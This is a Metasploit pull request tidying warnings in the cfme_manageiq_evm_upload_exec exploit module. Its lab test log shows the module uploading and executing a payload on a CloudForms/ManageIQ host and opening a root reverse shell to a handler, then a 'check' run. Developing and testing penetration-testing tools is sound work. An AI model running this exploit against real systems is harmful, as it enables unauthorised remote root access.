Clean pull request

Hi @rcvalle, This pull request tries to clean small warnings here:

https://github.com/rapid7/metasploit-framework/pull/2745

Please, feel free to review / ask /discuss /test anything. Once you feel comfortable with the changes, land into your repository and https://github.com/rapid7/metasploit-framework/pull/2745 will be automatically updated and ready to go

* Test:

```
msf exploit(cfme_manageiq_evm_upload_exec) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444 
[*] Sending fake-controller upload request to https://192.168.172.134/agent/linuxpkgs...
[*] Sending execute request to https://192.168.172.134/govmv/wbxvil...
[*] Command shell session 1 opened (192.168.172.1:4444 -> 192.168.172.134:32972) at 2013-12-18 11:31:02 -0600

d
id
uid=0(root) gid=0(root)
``` 

* Check test:

```
msf exploit(cfme_manageiq_evm_upload_exec) > check
[*] The target service is running, but could not be validated.
```